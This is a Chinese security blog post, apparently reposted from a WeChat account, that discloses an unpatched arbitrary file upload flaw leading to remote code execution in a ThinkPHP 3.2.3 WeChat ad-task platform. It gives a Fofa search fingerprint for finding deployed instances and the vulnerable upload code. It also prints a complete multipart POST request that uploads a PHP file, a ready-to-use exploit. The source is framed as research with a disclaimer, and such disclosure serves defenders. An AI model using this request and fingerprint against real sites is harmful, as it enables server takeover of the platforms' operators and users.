某最新微信广告任务平台存在任意文件上传漏洞(RCE)

某最新微信广告任务平台存在任意文件上传漏洞(RCE)

点击上方蓝字关注我们 并设为星标

0x00 前言

    源码简介:本平台基于 Thinkphp3.2 框架精心打造,确保系统稳定、安全、高效运行。核心功能:第三方个人免签支付:无缝对接支付接口,支持微信、支付宝等多种支付方式,让交易更便捷。VIP 等级充值:提供不同等级的 VIP 会员服务,如钻石会员,享受更多特权和更高收益。

Fofa指纹:”/tpl/Public/js/func.js”

某最新微信广告任务平台存在任意文件上传漏洞(RCE)某最新微信广告任务平台存在任意文件上传漏洞(RCE)

框架:ThinkPHP 3.2.3 Debug:True

0x01 漏洞分析

位于 /Home/Controller/IndexController.class.php 控制器的 ajax_upload 方法存在上传文件的操作,我们追踪一下.

/*** webuploader 上传文件*/public function ajax_upload(){  // 根据自己的业务调整上传路径、允许的格式、文件大小  ajax_upload('/Uploads/images/');}

实际继承自 /Common/Common/function.php 的 Ajax_upload 方法.

/** * 上传文件类型控制 此方法仅限ajax上传使用 * @param  string   $path    字符串 保存文件路径示例:/Upload/image/ * @param  string   $format  文件格式限制 * @param  integer  $maxSize 允许的上传文件最大值 52428800 * @return booler   返回ajax的json格式数据 */function ajax_upload($path='file',$output_type=0,$subName='date',$format='empty',$maxSize='52428800'){    ini_set('max_execution_time', '0');    // 去除两边的/    $path=trim($path,'/');    // 添加Upload根目录    $path=strtolower(substr($path, 0,6))==='upload' ? ucfirst($path) : 'Upload/'.$path;    // 上传文件类型控制    $ext_arr= array(        'image' => array('gif', 'jpg', 'jpeg', 'png', 'bmp'),        'photo' => array('jpg', 'jpeg', 'png'),        'flash' => array('swf', 'flv'),        'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'),        'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2','pdf')    );    if( $subName == 'date' ) {        $subName = array('date', 'Y-m-d'); //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组    }    if(!empty($_FILES)){        // 上传文件配置        $config=array(            'maxSize'   =>  $maxSize,               // 上传文件最大为50M            'rootPath'  =>  './',                   // 文件上传保存的根路径            'savePath'  =>  './'.$path.'/',         // 文件上传的保存路径(相对于根路径)            'saveName'  =>  array('uniqid',''),     // 上传文件的保存规则,支持数组和字符串方式定义            'autoSub'   =>  true,                   // 自动使用子目录保存上传文件 默认为true            'exts'      =>    isset($ext_arr[$format])?$ext_arr[$format]:'',            'subName'      => $subName, //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组        );        // p($_FILES);        // 实例化上传        $upload=new ThinkUpload($config);        // 调用上传方法        $info=$upload->upload();        // p($info);        $data=array();        if(!$info){            // 返回错误信息            $error=$upload->getError();            $data['error_info']=$error;            if( $output_type == 1 ) {                return json_encode($data);            } else {                echo json_encode($data);            }        }else{
// 返回成功信息 foreach($info as $file){ $data['name']=trim($file['savepath'].$file['savename'],'.'); $data['oldname']=$file['name']; // p($data); if( $output_type == 1 ) { return $data['name']; } else { echo json_encode($data); } } } }}

这里看起来限制了上传文件的后缀,实际去测根本没有任何限制…..

0x02 漏洞复现

注意 这里需要普通用户登录之后操作.Payload:

POST /index.php/Home/index/ajax_upload HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 197Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCc7iBZFp1mvojsxnCookie: think_language=zh-CN; BJYADMIN=2150gjbkj92r835kg2dn9u9i75Host: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php/Home/Index/index.htmlSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg
<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--

某最新微信广告任务平台存在任意文件上传漏洞(RCE)

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE

广告任务系统 源码关注公众号,发送 240921 获取.



免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):某最新微信广告任务平台存在任意文件上传漏洞(RCE)

版权声明:admin 发表于 2024年9月21日 下午12:30。
转载请注明:某最新微信广告任务平台存在任意文件上传漏洞(RCE) | CTF导航

相关文章